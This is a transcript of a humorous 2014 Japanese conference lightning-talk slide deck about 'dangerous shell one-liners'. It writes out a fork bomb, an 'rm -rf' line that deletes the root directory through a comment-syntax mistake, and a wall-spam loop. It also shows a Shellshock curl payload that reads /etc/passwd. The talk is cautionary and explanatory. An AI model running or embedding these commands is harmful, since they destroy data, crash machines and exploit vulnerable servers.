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20141019 OSC Tokyo/Fall LT 【危険シェル芸】

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#危険

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20141019 OSC Tokyo/Fall LT 【危険シェル芸】

  1. 1. 第1回 危険シェル芸勉強会 USP友の会 上田隆一
  2. 2. みなさん OSCお疲れさまでした 2014/10/19 OSC Tokyo/Fall 2014 2
  3. 3. しかし 本日はここからが本番です 2014/10/19 OSC Tokyo/Fall 2014 3
  4. 4. 第1回危険シェル芸勉強会 を勝手に開催致します 2014/10/19 OSC Tokyo/Fall 2014 4
  5. 5. 危険シェル芸とは • マウスも使わず、ソースコードも残さず、 GUIツールを立ち上げる間もなく、 あらゆる破壊・迷惑・自滅行為を CLI端末へのコマンド入力一撃で終わらすこと。 http://blog.ueda.asia/?page_id=3752 2014/10/19 OSC Tokyo/Fall 2014 5
  6. 6. 思い出す夏の危険シェル芸騒動 大炎上65000PV togetterより 首謀者1 首謀者2 2014/10/19 OSC Tokyo/Fall 2014 6
  7. 7. 戦果(?) • 初日だけで見知らぬ方のマシン3台轟沈 • その他自爆者多数 • Docker上で試したらホストマシン沈黙の報告 • 自分の本がサイト経由で1冊だけ売れた • フォロワーが1人減った 2014/10/19 OSC Tokyo/Fall 2014 7
  8. 8. 本日はこの中から 特に危険なのを勉強 ちゃんとマスターしましょう 2014/10/19 OSC Tokyo/Fall 2014 8
  9. 9. ということでLet's try!!! 2014/10/19 OSC Tokyo/Fall 2014 9
  10. 10. ひとつめ :(){: | : &};: 2014/10/19 OSC Tokyo/Fall 2014 10
  11. 11. :(){: | : &};: • いわゆるフォーク爆弾 • 関数「:」のプロセスがマシンに溢れて再起不能 • Docker越しにホストを葬る殺傷力 つまり一言で言うと・・・ 2014/10/19 OSC Tokyo/Fall 2014 11
  12. 12. 2014/10/19 OSC Tokyo/Fall 2014 12
  13. 13. ふたつめ • シェルスクリプトにて rm -rf temp /* テンポラリを削除*/ 出典: @moguno さんより 2014/10/19 OSC Tokyo/Fall 2014 13
  14. 14. rm -rf temp /* テンポラリを削除*/ • 消えるのはtempと/* • シェルスクリプトのコメントアウトは# 覚えておきたいのは・・・ 2014/10/19 OSC Tokyo/Fall 2014 14
  15. 15. 2014/10/19 OSC Tokyo/Fall 2014 15
  16. 16. みっつめ # for x in `seq 1 10000`; do wall '我はroot。神だ' ; done 出典: @ryoana14 さんより 2014/10/19 OSC Tokyo/Fall 2014 16
  17. 17. # for x in `seq 1 10000`; do wall '我はroot。神だ' ; done • 誰も端末使えないぞ! • すごいポンポン言う! 即ち・・・ 2014/10/19 OSC Tokyo/Fall 2014 17
  18. 18. アーンド 2014/10/19 OSC Tokyo/Fall 2014 18
  19. 19. 2014/10/19 OSC Tokyo/Fall 2014 19
  20. 20. 世界は危険に飢えている発言 2014/10/19 OSC Tokyo/Fall 2014 20
  21. 21. そんなある日、 一つのワンライナーが Twitterに出回る 2014/10/19 OSC Tokyo/Fall 2014 21
  22. 22. $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" 2014/10/19 OSC Tokyo/Fall 2014 22
  23. 23. 2014/10/19 OSC Tokyo/Fall 2014 23
  24. 24. !? 2014/10/19 OSC Tokyo/Fall 2014 24
  25. 25. $ curl -A '() { :; }; /bin/cat /etc/passwd | /usr/bin/tail -n 3' http://localhost/index.php 2014/10/19 OSC Tokyo/Fall 2014 25
  26. 26. 2014/10/19 OSC Tokyo/Fall 2014 26
  27. 27. あかんやろ 2014/10/19 OSC Tokyo/Fall 2014 27
  28. 28. 危険シェル芸で遊んでいたら シェルが危険だった 2014/10/19 OSC Tokyo/Fall 2014 28
  29. 29. 私の Shellshock後の世界 2014/10/19 OSC Tokyo/Fall 2014 29
  30. 30. 自著が危険書物扱い ※フォローしておくと, bashを使ってますが コマンド・ファイル・パイプが 主眼でbashどっぷりという わけでもない本デス 2014/10/19 OSC Tokyo/Fall 2014 30
  31. 31. なぜか安否を確認される 2014/10/19 OSC Tokyo/Fall 2014 31
  32. 32. なぜか原稿を依頼される(焼け太り) 2014/10/19 OSC Tokyo/Fall 2014 32
  33. 33. 結論 • 危険シェル芸は危険 • Shellshockは危険 • 人生は危険 • 安全な方が精神的・肉体的によい – 「世界は危険に飢えている」なんて言って ごめんなさいごめんなさいごめんなさい ごめんなさいごぬんなさい! 2014/10/19 OSC Tokyo/Fall 2014 33
  34. 34. 以上。 2014/10/19 OSC Tokyo/Fall 2014 34

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